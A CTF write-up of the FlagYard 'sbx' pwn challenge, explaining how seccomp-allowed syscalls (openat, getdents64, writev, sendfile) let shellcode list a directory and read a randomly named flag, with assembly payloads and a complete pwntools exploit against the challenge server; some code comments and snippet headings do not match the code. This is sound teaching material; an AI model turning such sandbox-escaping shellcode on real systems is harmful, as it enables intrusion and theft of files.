- Published on
Sandbox
- Authors
- Name
- kerszi
Introduction
The Polish version will be available here. What made me decide to write about this excellent PWN? As always, the unusual construction of the challenge. On Sunday, I was planning to finish some overdue PWNs, but Da1sy asked me to take a look at this task. It works locally for him, but it doesn't work remotely on the server. The task is simple: you run the program, throw in your shellcode, and get the flag. Simple, right? Or is it?
Technical Description
After running the checksec
command in pwndbg
, it turns out that the only active protection is stack canary enforcement.
Checksec
pwndbg> checksec
File: /ctf/flagyard/sbx
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
The output from seccomp-tools
unfortunately shows convoluted filter logic (is it BFS?). However, upon closer inspection, it becomes clear tha the syscalls read
and openat
are allowed. Meanwhile, write
, open
, and execve
are blocked. Other syscalls not listed in the filter also work.
$ seccomp-tools dump ./sbx
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0003
0002: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0004
0003: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0005
0004: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0006
0005: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
Decompilation
The source code is decompiled using Ghidra
. It is very straightforward. You simply input the shellcode on request. However, syscall calls are checked, and only allowed ones are passed through. If the program encounters a forbidden syscall, it immediately halts its execution.
undefined8 main(void)
{
long in_FS_OFFSET;
undefined local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
read(0,local_118,0x99);
setup();
(*(code *)local_118)();
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Analysis
What could have gone wrong? The syscalls write
, open
, and read
are blocked. However, sendfile
and openat
remain allowed. In theory, we should be able to open the flag
file using openat
and then send it to stdout
with sendfile
. Additionally, there is enough space for the buffer on the stack. Simple? Not quite.
As Da1sy mentioned, it works locally but not remotely. Why? Likely because the flag
file has a different name. As a workaround, I attempted to read the executable itself, i.e., the sbx
file. This worked remotely. I also checked the entire path /app/sbx
, which also worked correctly. This confirms that reading works remotely.
The next step was to find the file's name containing the flag. I asked ChatGPT if there is a syscall that can read a directory's contents. Fortunately, it pointed to getdents64
. I allocated space for the buffer in the .bss
section. According to info file
in pwndbg
, the .bss
section had only 8 free bytes: 0x0000000000404048 - 0x0000000000404050
However, upon checking vmmap, it turned out there was much more space available – a whole 0x1000 bytes. That’s plenty for the directory's contents, including metadata. I don’t expect there to be thousands of files in the directory.
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0 /ctf/flagyard/sbx
0x401000 0x402000 r-xp 1000 1000 /ctf/flagyard/sbx
0x402000 0x403000 r--p 1000 2000 /ctf/flagyard/sbx
0x403000 0x404000 r--p 1000 2000 /ctf/flagyard/sbx
0x404000 0x405000 rw-p 1000 3000 /ctf/flagyard/sbx
0x7ffff7da8000 0x7ffff7dab000 rw-p 3000 0 [anon_7ffff7da8]
Reading the flag file locally
This shellcode works offline if we know the file name is flag
.
sh = """
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat ;// SYS_openat
pop rax
syscall
mov rdi, 1
mov rsi, rax
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile ;// SYS_sendfile
pop rax
syscall
A small note: comments in the style of ; are not sufficient when compiling shellcode in Python. You also need to add //.
Reading Directory Contents
Below is the shellcode that reads the directory contents and writes them to memory. In our case, the data is stored in the .bss
section.
mov rdi, 1
mov rsi, 0x0000000000404248 ; // Adres danych z `getdents64`
mov rdx, 200 ; // Liczba bajtów odczytanych z katalogu
mov rax, 20 ; // SYS_writev
syscall
Further Problem
Reading the directory contents into memory worked, but how to display them on the screen? ChatGPT suggested a few advanced tricks, such as creating pipes, redirecting with dup2, swapping the pipe, and then using the read syscall. However, I decided to abandon this approach.
Looking for an alternative, I explored the website for related to syscall. I found pwrite64
. Unfortunately, after deeper analysis and checking error codes, it turned out that pwrite64
cannot handle stdout
.
A New, Better(?) Write
I asked ChatGPT if the writev
syscall might work for this case. It replied that it should work without any issues. Naturally, it didn’t work immediately, but I knew that RAX
returns an error code, which needed to be interpreted. It turned out that writev
references the address differently than write
. You need to provide the address of a pointer and the length of the data. Simple, right? (in hindsight).
I chose the addresses somewhat arbitrarily to avoid overwriting the directory data, and – to my relief – it worked.
mov rax,0x0000000000404048
mov [0x0000000000404448], rax ; // Zapis wskaźnika (adres danych) do adresu 0x404248
mov rax,200
mov [0x0000000000404450], rax ; // Zapis długości (200 bajtów w dziesiętnym) do adresu 0x404250
I successfully printed the directory contents.
File Name on the Stack
The issue with file names is that they tend to change. Manually pushing 8 bytes at a time onto the stack in reverse order gets tedious, especially when you need to do it repeatedly. So, I wrote a small script to automate the process, which will likely come in handy in the future.
def path_to_pushes(path):
# Ensure the path ends with a null byte
if not path.endswith("\x00"):
path += "\x00"
# Split the path into chunks of 8 bytes (64 bits) from the start
chunks = []
while path:
chunk = path[:8] # Take the first 8 bytes
path = path[8:] # Remove those bytes from the path
# Convert the chunk to a little-endian 64-bit integer
chunk_value = int.from_bytes(chunk.encode('latin1'), 'little')
chunks.append((chunk, chunk_value))
# Generate assembly code for the pushes in reverse order
assembly_code = []
for chunk, chunk_value in reversed(chunks):
assembly_code.append(f"mov rax, 0x{chunk_value:016x} ; // {chunk}\npush rax")
return "\n".join(assembly_code)
# Example usage
path = "/app/flag10f5c6c3f04aae26ca6b"
assembly = path_to_pushes(path)
print(assembly)
The result looks as follows. We insert this at the beginning of the shellcode
.
mov rax, 0x0000006236616336 ; // 6ca6b
push rax
mov rax, 0x3265616134306633 ; // 3f04aae2
push rax
mov rax, 0x6336633566303167 ; // g10f5c6c
push rax
mov rax, 0x616c662f7070612f ; // /app/fla
push rax
Of course, I could have modified the entire shellcode after retrieving the flag's name, but I simply didn’t feel like it. I had already spent 8 hours on this.
Two Payloads
At this stage, we need to write two payloads
. The first will retrieve the flag's name, and the second will read its contents.
The flag name is random and is regenerated each time the instance is started. Fortunately, it remains consistent within the same instance.
The procedure is as follows:
- Run the program for the first time to obtain the flag's name.
- Modify the first exploit by incorporating the retrieved flag name.
- Run the program again with the updated payload to obtain the flag.
Complete Exploit Code
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="34.252.33.37:32232"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./sbx"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
bss = 0x0000000000404048
first_payload= """
mov rax, 0x000000007070612f ; // /app
push rax
mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
mov rax,SYS_openat ;// SYS_openat
syscall
mov rdi, rax
mov rsi, 0x0000000000404048 ; // wskaźnik na bufor
mov rdx, 200 ; // rozmiar bufora
mov rax, 217 ; // SYS_getdents64
syscall
mov rax,0x0000000000404048
mov [0x0000000000404448], rax ; // Zapis wskaźnika (adres danych) do adresu 0x404248
mov rax,200
mov [0x0000000000404450], rax ; // Zapis długości (40 bajtów w dziesiętnym) do adresu 0x404250
mov rdi, 1
mov rsi, 0x0000000000404248 ; // Adres danych z `getdents64`
mov rdx, 200 ; // Liczba bajtów odczytanych z katalogu
mov rax, 20 ; // SYS_writev
syscall
"""
second_payload = """
mov rax, 0x0000006236616336 ; // 6ca6b
push rax
mov rax, 0x3265616134306633 ; // 3f04aae2
push rax
mov rax, 0x6336633566303167 ; // g10f5c6c
push rax
mov rax, 0x616c662f7070612f ; // /app/fla
push rax
mov rdi, -100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat ;// SYS_openat
pop rax
syscall
mov rdi, 1
mov rsi, rax
push 0
mov rdx, rsp
mov r10, 0x400
push SYS_sendfile ;// SYS_sendfile
pop rax
syscall
"""
# Analiza danych
def parse_data(data):
# Przeszukaj dane, aby znaleźć sekcję z flagą
flag = b"flag"
start_idx = data.find(flag) # Znajdź początek flagi
if start_idx == -1:
return "Flaga nie znaleziona"
# Znajdź koniec flagi (zakładamy, że kończy się zerem)
end_idx = data.find(b'\x00', start_idx)
if end_idx == -1:
return "Brak zakończenia flagi"
# Wyciągnij flagę
extracted_flag = data[start_idx:end_idx].decode()
return extracted_flag
shell=asm(first_payload)
p.send(shell)
flag_path="/app/"+parse_data(p.recv())
info (f"Flag patch: {flag_path}")
p.close()
if args.REMOTE:
p = remote(ADDRESS,PORT)
#---warning
#--name of flag probabli will be different
shell=asm(second_payload)
p.send(shell)
p.interactive()
Summary
Well, another great challenge from FlagYard, and I might have spoiled the fun a bit for you. 😉 I hope, however, that you'll refer to this solution only if you're truly stuck. Trying on your own is the best way to learn!